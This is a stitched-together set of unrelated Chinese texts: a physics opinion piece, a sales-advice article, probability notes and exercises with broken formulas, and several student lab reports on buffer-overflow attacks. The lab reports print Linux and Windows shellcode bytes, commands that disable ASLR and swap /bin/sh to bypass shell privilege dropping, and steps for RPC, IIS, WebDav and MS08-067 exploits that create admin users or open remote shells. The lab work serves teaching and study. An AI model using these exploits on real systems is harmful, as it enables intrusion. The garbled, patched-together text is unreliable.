现代物理学认为速度变大,时间将变慢。本人认为时间是不存在的,只是存在于人们头脑中的一个概念,试图用其来标度事物发展的方向,因为直观上看有很多重复现象,也因此才有了周期,但这都是条件概率导致的,根本原因是事物之间的普遍联系,互为变化发展的外在条件,作为外在条件的事物有了引导该事物向前发展方向的能力。关于物体大小,质量的关系,在《新宇宙观》中有表述。现在物理学正把我们引入一个误区里,我们在其中迷失,我们需要从一个新的视角研究世界。经典的绝对时间观认为没有运动就无法察觉时间,没有物质运动的周期性和均匀性就无法计量时间,这是一种典型的用自己证明自己的过程,细想

缓冲区溢出攻击实验

HUNAN UNIVERSITY 课程实验报告 题目: Buflab-handout 学生姓名 学生学号 专业班级计科1403 (一)实验环境 联想ThinkPadE540 VM虚拟机ubuntu32位操作系统 (二)实验准备 1.使用tar xvf命令解压文件后,会有3个可执行的二进制文件bufbomb,hex2raw, makecookie。bufbomb运行时会进入getbuf函数,其中通过调用Gets函数读取字符 串。要求在已知缓冲区大小的情况下对输入的字符串进行定制完成特定溢出操作。 从给的PDF文件中我们得知getbuf函数为:

/ /Buffer size for getbuf #define NORMAL_BUFFER_SIZE 32 int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; } 这个函数的漏洞在于宏定义的缓冲区的大小为32,若输入的字符串长于31(字符串末尾结束符)则会导致数据的覆盖,从而导致一系列损失;在此实验中,我们正是利用这个漏洞来完成实验。 2. hex2raw可执行文件就是将给定的16进制的数转成二进制字节数据。 Makecookie是产生一个userid。输入的相应的用户名产生相应的cookie值。 **我产生的cookie值为0x5eb52e1c,如下图所示: Level0: 实验要求:从英文的PDF文件中的“Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement, rather than returning to test. Note that your exploit string may also corrupt parts of the stack not directlyrelated to this stage, but this will not cause a problem, since smoke causes the program to exit directly.”这句话看出实验让我们在test运行完后,不直接退出,而是跳到smoke函数处执行然后退出,这点很重要!(本人之前一直没有成功就是错在这儿) Test源码: void test() { int val; // Put canary on stack to detect possible corruption volatile int local = uniqueval(); val = getbuf(); // Check for corrupted stack if (local != uniqueval()) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3);

销售成功的平均概率法则

销售平均法则”——给它的定义是“拜访的客户越多,成交的比率越大”。理解一下:据一位销售人员电话拜访实际记录,电话拜访100位客户他获约客户为36人,那么成功比率为36%;拜访次数200位客户他获约客户为89人,那么成功比率为44.5%;拜访次数500位客户他获约客户为285人,那么成功比率为57%。 在学习、在成长过程中,我们会发现自己知道的越来越多,但却也发现并不一定能力会越来越强,至少表现得不一定会更加的好,业绩也不一定会更有色。这就是成人学习与成长的知、行、信。我们知道了很多很多的知识,但却没有去使用它,让它为你产生效益,所以就叫“没用”;或者用了一段时间以后就扔了,叫做“不灵”了;从此不在相信它了,叫做“遗忘”。 那么,今天要提到的这个法则,仍然没有什么特别的。因为笔者从知道到应用,再到深信,再到运用升华,再到深信,使自己获益巨大。它伴随我从销售到销售管理生涯一直十余年。不仅如此,我的团队、我的同行、学生和我一样,都悟出了心态、用出了业绩。今天推荐给更多的同仁,很想提示一下:你可以怀疑,但不要轻视。因为怀疑你会去深入,而轻视则会丢置! 很早的时候,一些销售大师就发现了这个销售规律,那就是“销售平均法则”——给它的定义是“拜访的客户越多,成交的比率越大”。理解一下:据一位销售人员电话拜访实际记录,电话拜访100位客户他获约客户为36人,那么成功比率为36%;拜访次数200位客户他获约客户为89人,那么成功比率为44.5%;拜访次数500位客户他获约客户为285人,那么成功比率为57%。你会发现,同样的一个人,销售成交的比率却能提升。反过来,“拜访的客户越少,成交的比率越小”,同样是你,销售成交的比率却在降低。 从上述定义中,我们可以延伸出第一个实用意义。无论你的销售能力是多好多差,你都可以完成你想要的目标,只是付出的程度不同罢了;再就是你愿不愿付出和能不能付出事情了。拿笔者举例,在刚“出道”时,销售技巧肯定差极了,经常因为不自信的表情和动作把客户“吓跑”,用成交率来衡量是极低的。 一次,团队定目标时,主管说:你是退伍军人,是不是要多定一点?因为面子就允下了,甚至和老前辈相近持平。而销售水平的差别就是:他们访问100位客户可以成交客户18位,我访问100位客户可以成交客户只能是7位。一起入公司的新伙伴问我是不是在当地有关系或有亲戚,我开玩笑说:有!我在寻找以前“失散的亲人”!所以在后来只能拼命的访问客户,在努力之下终于感动了上帝,达到了预定目标。 后来在销售分析会上居然得出了我的成交比率为15.6%,快赶上老前辈们了。当然,先不要看我的业绩,就我的客户拜访量就已经居全公司首位了!所以当我们销售的质量(包括技巧、条件)即使是在一定的水平下,要想达到更高的目标,完全是有理可循的。不要说太难了或者自己还不行,其实是你不愿意达到那个目标或者是觉得这个目标不值得自己付出而已!后来,知道了平均法则的定义,我就将自己的每一次突破记录下来分析。列出当前的销售成交率(销售水平),再根据自己要突破的目标,根据比例制定拜访总量,分解为每天的量来完成。就

统计概率知识点归纳总结归纳大全

统计概率知识点归纳总结大全 1.了解随机事件的发生存在着规律性与随机事件概率的意义. 2.了解等可能性事件的概率的意义,会用排列组合的基本公式计算一些等可能性事件的概率、 3.了解互斥事件、相互独立事件的意义,会用互斥事件的概率加法公式与相互独立事件的概率乘法公式计算一些事件的概率. 4.会计算事件在n 次独立重复试验中恰好发生k 次的概率. 5.掌握离散型随机变量的分布列、 6.掌握离散型随机变量的期望与方差、 7.掌握抽样方法与总体分布的估计、 8.掌握正态分布与线性回归、 考点1、求等可能性事件、互斥事件与相互独立事件的概率 解此类题目常应用以下知识: (1)等可能性事件(古典概型)的概率:P (A )=)()(I card A card =n m ; 等可能事件概率的计算步骤: (1) 计算一次试验的基本事件总数n ; (2) 设所求事件A,并计算事件A 包含的基本事件的个数m ; (3) 依公式()m P A n =求值; (4) 答,即给问题一个明确的答复、 (2)互斥事件有一个发生的概率:P (A +B )=P (A )+P (B ); 特例:对立事件的概率:P (A )+P (A )=P (A +A )=1、 (3)相互独立事件同时发生的概率:P (A ·B )=P (A )·P (B ); 特例:独立重复试验的概率:P n (k )=k n k k n p p C --)1(、其中P 为事件A 在一次试验中发生的概率,此式为二项式 [(1-P)+P]n 展开的第k+1项、

(4)解决概率问题要注意“四个步骤,一个结合”: ① 求概率的步骤就是: 第一步,确定事件性质???????等可能事件 互斥事件 独立事件 n 次独立重复试验 即所给的问题归结为四类事件中的某一种、 第二步,判断事件的运算???和事件积事件 即就是至少有一个发生,还就是同时发生,分别运用相加或相乘事件、 第三步,运用公式()()()()()()()()(1) k k n k n n m P A n P A B P A P B P A B P A P B P k C p p -?=???+=+???=??=-??等可能事件: 互斥事件: 独立事件: n 次独立重复试验:求解 第四步,答,即给提出的问题有一个明确的答复、 考点2离散型随机变量的分布列 1、随机变量及相关概念 ①随机试验的结果可以用一个变量来表示,这样的变量叫做随机变量,常用希腊字母ξ、η等表示、 ②随机变量可能取的值,可以按一定次序一一列出,这样的随机变量叫做离散型随机变量、 ③随机变量可以取某区间内的一切值,这样的随机变量叫做连续型随机变量、 2、离散型随机变量的分布列 ①离散型随机变量的分布列的概念与性质 一般地,设离散型随机变量ξ可能取的值为1x ,2x ,……,i x ,……,ξ取每一个值i x (=i 1,2,……)的概率P(i x =ξ)=i P ,则称下表、

SEED信息安全实验系列:缓冲区溢出漏洞实验

缓冲区溢出漏洞实验 一、实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。 二、实验准备 本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。 1、输入命令安装一些用于编译32位C程序的东西: sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev 2、输入命令“linux32”进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash: 三、实验步骤 3.1 初始设置

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能: sudo sysctl -w kernel.randomize_va_space=0 此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。 linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序: sudo su cd /bin rm sh ln -s zsh sh exit 3.2 shellcode 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。 观察以下代码: #include int main( ) { char *name[2]; name[0] = ‘‘/bin/sh’’; name[1] = NULL; execve(name[0], name, NULL); } 本次实验的shellcode,就是刚才代码的汇编版本: \x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80 3.3 漏洞程序 把以下代码保存为“stack.c”文件,保存到/tmp 目录下。代码如下: /* stack.c */ /* This program has a buffer overflow vulnerability. */ /* Our task is to exploit this vulnerability */ #include #include #include int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */strcpy(buffer, str); return 1;

实验三+缓冲区溢出

服务器安全攻防技术实验报告 实验名称:缓冲区溢出 班级:姓名:学号: 实验地点:日期:2020/3/11 一、实验目的: 1.通过实践掌握缓冲区溢出的原理;掌握常用的缓冲区溢出方法;理解缓冲区溢出的危害性;掌握防范和避免缓冲区溢出攻击的方法。 二、基本技能实验内容、要求和环境: 实验环境: 1.PC机一台,安装有Windows 2003 server; 2.Vmware软件一套; 3.Codeblockse软件。 实验内容: 1、简单陈述缓冲区溢出的原理。 2、(1)陈述程序如何溢出?(2)为什么执行why_here方法?(3)画出栈结构 #include #include void why_here(void) //这个函数没有任何地方调用过 { printf("why u here !n\n"); printf("you are trapped here\n"); system("pause"); _exit(0); } int main(int argc,char * argv[]) { int buffer[1]; buffer[4] = why_here; system("pause"); return 0; } 三、基本技能实验结果与分析: 1、简单陈述缓冲区溢出的原理。 答案:缓冲区溢出是指当前计算机向缓冲区内填充数据位数超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,破坏程序的堆栈,使程序转而执行其他指令,以达到攻击的目的。

2、(1)陈述程序如何溢出? 运行程序,返回结果如下: 分析:由代码我们可以看出,在我们的main()函数中并没有调用过why_here()函数,只是定义了一个buffer[1]的数组,但是在我们定义了数组之后,我们同时为buffer[4]赋值为why_here()函数的返回值。我们知道buffer数组并没有buffer[4]这个位置,此时我们为它赋值就会造成该buffer[4]中原来返回地址被覆盖,转去执行why_here(),就会输出以上的语句了。 进入debug模式,查看Selected frame,从中我们可以获取的信息有:EIP为0x401384,在执行main函数之后被保存为0x4010fd,,编码为C语言,涉及到的实参有argc=1, argv=0x1e2e28,局部变量存放在栈的0x60ff08的位置;而目前的frame指针所指示的位置为0x60ff10; 保存的寄存器为EBP存放在0x60ff08,EIP保存在0x60ff0c。 debugging windows的watchs窗口中函数中涉及的参数和变量所对应的值。

最新统计概率知识点归纳总结大全

统计概率知识点归纳总结大全 1.了解随机事件的发生存在着规律性和随机事件概率的意义. 2.了解等可能性事件的概率的意义,会用排列组合的基本公式计算一些等可能性事件的概率. 3.了解互斥事件、相互独立事件的意义,会用互斥事件的概率加法公式与相互独立事件的概率乘法公式计算一些事件的概率. 4.会计算事件在n 次独立重复试验中恰好发生k 次的概率. 5. 掌握离散型随机变量的分布列. 6.掌握离散型随机变量的期望与方差. 7.掌握抽样方法与总体分布的估计. 8.掌握正态分布与线性回归. 考点1. 求等可能性事件、互斥事件和相互独立事件的概率 解此类题目常应用以下知识: (1)等可能性事件(古典概型)的概率:P (A )=) ()(I card A card =n m ; 等可能事件概率的计算步骤: (1) 计算一次试验的基本事件总数n ; (2) 设所求事件A ,并计算事件A 包含的基本事件的个数m ; (3) 依公式()m P A n =求值; (4) 答,即给问题一个明确的答复. (2)互斥事件有一个发生的概率:P (A +B )=P (A )+P (B ); 特例:对立事件的概率:P (A )+P (A )=P (A +A )=1. (3)相互独立事件同时发生的概率:P (A ·B )=P (A )·P (B ); 特例:独立重复试验的概率:P n (k )=k n k k n p p C --)1(.其中P 为事件A 在一次试验中发生的概率,此式为二项式[(1-P)+P]n 展开的第k+1项.

(4)解决概率问题要注意“四个步骤,一个结合”: ① 求概率的步骤是: 第一步,确定事件性质???? ???等可能事件 互斥事件 独立事件 n 次独立重复试验 即所给的问题归结为四类事件中的某一种. 第二步,判断事件的运算?? ?和事件积事件 即是至少有一个发生,还是同时发生,分别运用相加或相乘事件. 第三步,运用公式()()()()()()()()(1) k k n k n n m P A n P A B P A P B P A B P A P B P k C p p -? =???+=+? ??=??=-??等可能事件: 互斥事件: 独立事件: n 次独立重复试验:求解 第四步,答,即给提出的问题有一个明确的答复. 考点2离散型随机变量的分布列 1.随机变量及相关概念 ①随机试验的结果可以用一个变量来表示,这样的变量叫做随机变量,常用希腊字母ξ、η等表示. ②随机变量可能取的值,可以按一定次序一一列出,这样的随机变量叫做离散型随机变量. ③随机变量可以取某区间内的一切值,这样的随机变量叫做连续型随机变量. 2.离散型随机变量的分布列 ①离散型随机变量的分布列的概念和性质 一般地,设离散型随机变量ξ可能取的值为1x ,2x ,……,i x ,……,ξ取每一个值i x (=i 1,2,……)的概率P (i x =ξ)=i P ,则称下表.

缓冲区溢出实验报告

华中科技大学计算机学院《信息系统应用安全》实验报告 实验名称缓冲区溢出实验 团队成员: 教师评语:

一.实验环境 ?操作系统:Windows XP SP3 ?编译平台:Visual C++ 6.0 ?调试环境:OllyDbg 二.实验目的 1.掌握缓冲区溢出的原理; 2.掌握缓冲区溢出漏洞的利用技巧; 3.理解缓冲区溢出漏洞的防范措施。 三.实验内容及步骤 1.缓冲区溢出漏洞产生的的基本原理和攻击方法 ?缓冲区溢出模拟程序 程序源代码如下: 运行该程序产生访问异常:

由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。 运行命令窗口的shellcode shellcode测试代码如下: #include "string.h" #include "stdio.h" #include char name[]= "\x41\x41\x41\x41" "\x41\x41\x41\x41" "\x41\x41\x41\x41" ///覆盖ebp "\x12\x45\xfa\x7f" ////覆盖eip,jmp esp地址7ffa4512 "\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d" "\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63" "\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e" "\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c" "\x8d\x45\xf4\x50\xb8" "\x77\x1d\x80\x7c" // LoadLibraryW的地址 "\xff\xd0" "\x55\x8b\xec\x33\xff\x57\x57\x57\xc6\x45\xf4\x73" "\xc6\x45\xf5\x74\xc6\x45\xf6\x61\xc6\x45\xf7\x72" "\xc6\x45\xf8\x74\xc6\x45\xf9\x20\xc6\x45\xfa\x63"

实验4 缓冲区溢出攻击实验

深圳大学实验报告课程名称:计算机系统(2) 实验项目名称:缓冲区溢出攻击实验 学院:计算机与软件学院 专业:计算机科学与技术 指导教师:罗秋明 报告人: 实验时间:2016年5月8日 实验报告提交时间:2016年5月22日 教务处制

一、实验目标: 1.理解程序函数调用中参数传递机制; 2.掌握缓冲区溢出攻击方法; 3.进一步熟练掌握GDB调试工具和objdump反汇编工具。 二、实验环境: 1.计算机(Intel CPU) 2.Linux64位操作系统(CentOs) 3.GDB调试工具 4.objdump反汇编工具 三、实验内容 本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡! 要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。 实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四缓冲区溢出攻击实验.p ptx”。 本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。

四、实验步骤和结果 步骤1 返回到smoke() 1.1 解题思路 首先弄清楚getbuf()的栈帧结构,知道存放字符数组buf地址的单元和存放getbuf()返回地址的单元之间相差多少个字节。假设两者之间相差x个字节。 然后找到smoke()函数的入口地址。该值为4个字节。 再构造exploit.txt,前x个字节随意填,然后再填入4个字节的smoke()地址,注意是小端方式存储。 这样操作完成,就可以得到预期结果了。 1.2 解题过程 首先进入GDB对bufbomb进行调试,先在调用getbuf()处设置断点,然后运行。 注:此时的输入文件exploit_raw.txt文件中是随便填的,并不影响我调用smoke(),因为我会在gdb中使用set指令直接修改getbuf()的返回地址。 此时查看运行程序的调用栈帧结构,如下所示: 上图说明当getbuf()执行完后,会返回到test()函数中(返回到地址0x08048db2,我们要修改存放这个值的地址单元,改为smoke的入口地址值)。

北师大版数学七年级下册6.3等可能时间的概率练习题(word无答案)

6.3等可能时间的概率练习 一、选择题 1.某地气象局预报称:明天A地区降水概率为80%,这句话指的是() A.明天A地区80%的时间都下雨 B.明天A地区的降雨量是同期的80% C.明天A地区80%的地方都下雨 D.明天A地区下雨的可能性是80% 2.在相同条件下重复试验,若事件A发生的概率是,下列陈述中,正确的是()A.事件A发生的频率是 B.反复大量做这种试验,事件A只发生了7次 C.做100次这种试验,事件A一定发生7次 D.做100次这种试验,事件A可能发生7次 3.必然事件的概率是() A.0 B.0.5 C.1 D.不能确定 4.袋中有3个红球,4个白球,这些球的形状、大小、质地等完全相同,在看不到球的条件下,随机地从袋中摸出1个球,则摸出白球的概率是() A.B.C.D. 5.在九张质地都相同的卡片上分别写有数字1,2,3,4,5,6,7,8,9,在看不到数字的情况下,从中任意抽取一张卡片,则抽到的数字是奇数的概率是()A.B.C.D. 6.在配紫色游戏中,转盘被平均分成“红”、“黄”、“蓝”、“白”四部分,转动转盘两次,配成紫色的概率为()

A.B.C.D. 7.一个不透明的口袋里装有分别标有汉字“陕”、“西”、“美”、“丽”的4个小球,除汉字不同之外,小球没有任何区别,小航从中任取两球,则取出的两个球上的汉字恰能组成“陕西”或“美丽”的概率是() A.B.C.D. 8.两个不透明的袋中都各装有一个红球和一个黄球两个球,它们除了颜色外都相同.现随机从两个袋中各摸出一个球,两个球的颜色是一红一黄的概率是()A.B.C.D. 9.有一个质地均匀的骰子,6个面上分别写有1,1,2,2,3,3这6个数字.连续投掷两次,第一次向上一面的数字作为十位数字,第二次向上一面的数字作为个位数字,这个两位数是奇数的概率为() A.B.C.D. 10.现有4条线段,长度依次是1,2,3,4,从中任选3条,能组成三角形的概率是()A.B.C.D.1 11.现有规格接近的三把钥匙和相应的三把锁,能一次性打开三把锁的概率是()A.B.C.D. 二、填空题 12.在一个不透明的布袋中装有4个白球和n个黄球,它们除颜色不同外,其余均相同,若从中随机摸出一个球,摸到黄球的概率是,则n=. 13.某同学遇到一道不会做的选择题,在四个选项中有且只有一个是正确的,则他选对的概率是. 14.小明掷一枚均匀的骰子,骰子的六个面上分别刻有1,2,3,4,5,6点,得到的点

山东大学信息安全实验报告

山东大学软件学院 信息安全导论课程实验报告 学号:201300301385 姓名:周强班级: 2013级八班 实验题目:缓冲区溢出实验 实验学时:日期: 实验目的: (1)了解缓冲区溢出的原理 (2)利用缓冲区溢出现象构造攻击场景 (3)进一步思考如何防范基于缓冲区溢出的攻击 硬件环境: 软件环境: WindowsXP操作系统 VS2008 实验步骤与内容: (1)了解缓冲区溢出的原理 缓冲区溢出简单来说就是计算机对接收的输入数据没有进行有效的检测(理情况下是程序检测数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。 看一个代码实例,程序如下: void function(char *str) { char buffer[16]; strcpy(buffer,str); } 上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16,就会造成buffer的溢出,使程序运行出错。

(2)利用缓冲区溢出现象构造攻击场景 首先打开Microsoft Visual C++,新建工程和cpp文件,复制实验指导书的代码进行编译连接: 单击运行按钮,然后第1次输入“zhouqianga”,第2次输入2个“ga”,即可看到输出“correct”。

按F10开始进行逐步调试: 当第一次执行gets()函数之前,内存情况如下图所示

在最新的版本中gets被认为是不安全的,gets从标准输入设备读字符串函数。可以无限读取,不会判断上限,以回车结束读取,所以程序员应该确保buffer的空间足够大,以便在执行读操作时不发生溢出。现在都被要求改为get_s。来防止溢出。 如下图所示。 (3)学习例子程序2:数据被执行 在xp系统下,直接运行Exploit-1.1.exe,如下图所示:

缓冲区溢出攻击实验报告

缓冲区溢出攻击实验报告 班级:10网工三班学生姓名:谢昊天学号:46 实验目的和要求: 1、掌握缓冲区溢出的原理; 2、了解缓冲区溢出常见的攻击方法和攻击工具; 实验内容与分析设计: 1、利用RPC漏洞建立超级用户利用工具文件检测RPC漏洞,利用工具软件对进行攻击。攻击的结果将在对方计算机上建立一个具有管理员权限的用户,并终止了对方的RPC服务。 2、利用IIS溢出进行攻击利用软件Snake IIS溢出工具可以让对方的IIS溢出,还可以捆绑执行的命令和在对方计算机上开辟端口。 3、利用WebDav远程溢出使用工具软件和远程溢出。 实验步骤与调试过程: 1.RPC漏洞出。首先调用RPC(Remote Procedure Call)。当系统启动的时候,自动加载RPC服务。可以在服务列表中看到系统的RPC服务。利用RPC漏洞建立超级用户。首先,把文件拷贝到C盘跟目录下,检查地址段到。点击开始>运行>在运行中输入cmd>确定。进入DOs模式、在C盘根目录下输入 -,回车。检查漏洞。 2.检查缓冲区溢出漏洞。利用工具软件对进行攻击。在进入DOC模式、在C盘根目录下输入 ,回车。 3,利用软件Snake IIS溢出工具可以让对方的IIS溢出。进入IIS溢出工具软件的主界面. PORT:80 监听端口为813 单击IDQ溢出。出现攻击成功地提示对话框。 4.利用工具软件连接到该端口。进入DOs模式,在C盘根目录下输入 -vv 813 回车。5.监听本地端口(1)先利用命令监听本地的813端口。进入DOs模式,在C盘根目录下输入nc -l -p 813回车。(2)这个窗口就这样一直保留,启动工具软件snake,本地的IP 地址是,要攻击的计算机的IP地址是,选择溢出选项中的第一项,设置IP为本地IP地址,端口是813.点击按钮“IDQ溢出”。(3)查看nc命令的DOS框,在该界面下,已经执行了设置的DOS命令。将对方计算机的C盘根目录列出来,进入DOC模式,在C盘根目录下输入nc -l -p 813回车。 6.利用WebDav远程溢出使用工具软件和远程溢出。(1)在DOS命令行下执行,进入DOC 模式,在C盘根目录下输入回车。(2)程序入侵对方的计算机进入DOC模式,在C盘根目录下输入nc -vv 7788 回车。 实验结果: 1.成功加载RPC服务。可以在服务列表中看到系统的RPC服务,见结果图。 2.成功利用工具软件对进行攻击。 3.成功利用IIS溢出进行攻击利用软件Snake IIS溢出工具让对方的IIS溢出,从而捆绑

华科_计算机系统实验报告

课程实验报告课程名称:计算机系统基础 专业班级: 学号: 姓名: 指导教师: 报告日期:年月日 计算机科学与技术学院

目录 实验1: (1) 实验2: (7) 实验3: (24) 实验总结 (34)

实验1:数据表示 1.1 实验概述 实验目的:更好地熟悉和掌握计算机中整数和浮点数的二进制编码表示。 实验目标:加深对数据二进制编码表示的了解。 实验要求:使用有限类型和数量的运算操作实现一组给定功能的函数。 实验语言:c。 实验环境:linux 1.2 实验内容 需要完成bits.c中下列函数功能,具体分为三大类:位操作、补码运算和浮点数操作。 1)位操作 表1列出了bits.c中一组操作和测试位组的函数。其中,“级别”栏指出各函数的难度等级(对应于该函数的实验分值),“功能”栏给出函数应实现的输出(即功能),“约束条件”栏指出你的函数实现必须满足的编码规则(具体请查看bits.c中相应函数注释),“最多操作符数量”指出你的函数实现中允许使用的操作符的最大数量。 你也可参考tests.c中对应的测试函数来了解所需实现的功能,但是注意这些测试函数并不满足目标函数必须遵循的编码约束条件,只能用做关于目标函数正确行为的参考。 表1 位操作题目列表

2)补码运算 表2列出了bits.c中一组使用整数的补码表示的函数。可参考bits.c中注释说明和tests.c中对应的测试函数了解其更多具体信息。 表2 补码运算题目列表 3)浮点数操作 表3列出了bits.c中一组浮点数二进制表示的操作函数。可参考bits.c中注释说明和tests.c中对应的测试函数了解其更多具体信息。注意float_abs的输入参数和返回结果(以及float_f2i函数的输入参数)均为unsigned int类型,但应作为单精度浮点数解释其32 bit二进制表示对应的值。 表3 浮点数操作题目列表

《感受概率》水平测试及答案

七年级数学(下)第十二章《感受概率》水平测试 一、精心选一选: 1.下列事件为必然事件的是( ) A .买一张电影票,座位号是偶数; B .抛掷一枚普通的正方体骰子1点朝上 C .百米短跑比赛,一定产生第一名; D .明天会下雨 2.下列说法中正确的个数是 ( ) ①如果一件事情发生的可能性很小,那么它就不可能发生 ②如果一件事情发生的可能性很大,那么它就必然发生 ③如果一件事情不可能发生,那么它是必然事件 A .0 B .1 C .2 D .3 3.下列事件:①打开电视机,它正在播广告;②从装有红球的不透明袋子中,任意摸出一个球,恰是白球;③两次抛正方体骰子,掷得的数字之和小于13;④抛硬币1000次,第1000次正面向上.其中为随机事件的是( ). A .①③ B .①④ C .②③ D .②④ 4.两个正的有理数相加,和一定是正有理数,这件事情是( ) A .必然事件 B .不可能事件 C .随机事件 D .其他 5.如图1,转动转盘,转盘停止转动时指针指向阴影部分的概率是( )B A . 58 B .12 C .34 D .78 图1 6.一个不透明的袋中装有除颜色外均相同的5个红球和3个黄球,从中随机摸出一个,摸到黄球的概率是( ) A . 18 B . 13 C . 38 D . 35 7. 长为4cm 、5cm 、6em 的三条线段能围成三角形的事件是( ) A .随机事件 B .不可能事件 C .必然事件 D .以上都不是 8.下列事件中,不可能事件是( ) A .掷一枚六个面分别刻有1~6数字的均匀正方体骰子,向上一面的点数是“5” B .任意选择某个电视频道,正在播放北京奥运会开幕式 C .明天会天晴 D .在平面内,度量一个三角形的内角度数,其和为360 9. 掷一枚骰子,出现的以下点数中,可能性最大的是( ) A .点数为3的倍数 B .点数为奇数 C .点数不小于3 D .点数不大于3 10.某超级市场失窃,大量的商品在夜间被罪犯用汽车运走。三个嫌疑犯被警察局传讯,警察局已经掌握了以下事实:(1)罪犯不在A 、B 、C 三人之外;(2)C 作案时总得有A 作从犯;(3)B 不会开车。在此案中能肯定的作案对象是( ) A .嫌疑犯A B .嫌疑犯B C .嫌疑犯C D .嫌疑犯A 和C 二、细心填一填: 1.随手翻一下日历,翻到的日期是28号,这是 事件。 2.小敏所在的班级中有位同学的身高是5m ,这是 事件。 3.小明从装有黄豆的袋子中摸出一粒,竟然是花生,这是 事件。 4.若1000张奖券中有200张可以中奖,则从中任抽1张能中奖的概率为______。 5.一只袋内装有2个红球、3个白球、5个黄球(这些球除颜色外没有其它区别),从中任意取出一球,则取得红球的概率是___________。 8.在一个有10万人的小镇上,随机调查了2 000人,其中有250?人看中央电视台的早间新闻,在该镇随便问一人,他看早间新闻的概率大约是________. 9.用6个球(除颜色外没有区别)设计满足以下条件的游戏:摸到白球的概率为 12 ,摸到红球的概率为13 ,摸

缓冲区溢出攻击与防范实验报告

实验六报告

如图2所示的Windows 2000系统(虚拟机环境下)的计算机。显然这2台计算机处于同一个网段中,可以相互通讯,win10系统用作攻击机,下面将在此系统上运行Metasploit进行渗透测试,而Windows 2000系统都是本次任务中需要进行渗透入侵的靶机,保持安装后的默认状态,没有打额外的系统安全补丁。 图1 win10攻击机

图2 Windows 2000 靶机 2、扫描靶机 在正式开始渗透之前,应该对靶机进行扫描探测工作,搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。 在win10攻击机上运行metasploit console,即可进入Metasploit环境。 现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描,如图3所示,获取了靶机的开放服务和操作系统类型等信息。

图3 windows 2000扫描结果

利用扫描器的脚步插件,还有可能直接探测出目标系统的安全漏洞,例如如图4所示,Nmap 利用smb-check-vulns插件扫描探测出了Windows 2000靶机存在MS08_067漏洞,命令执行如下:nmap -script= 。 namap扫描的结果里报告发现MS08-067:DISABLED。这是在暗示我们或许能够对这台主机进行渗透攻击,然后我们在Metasloit里面找到此漏洞的攻击模块,并尝试攻击目标机器。MS08-067是一个对操作系统版本依赖非常高的漏洞,所以在这里,我们只自动payload指定一下目标就可以确保触发正确的溢出代码。 图4漏洞扫描结果 3利用MS08_067漏洞渗透入侵 MS08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响

概率真题汇编及答案

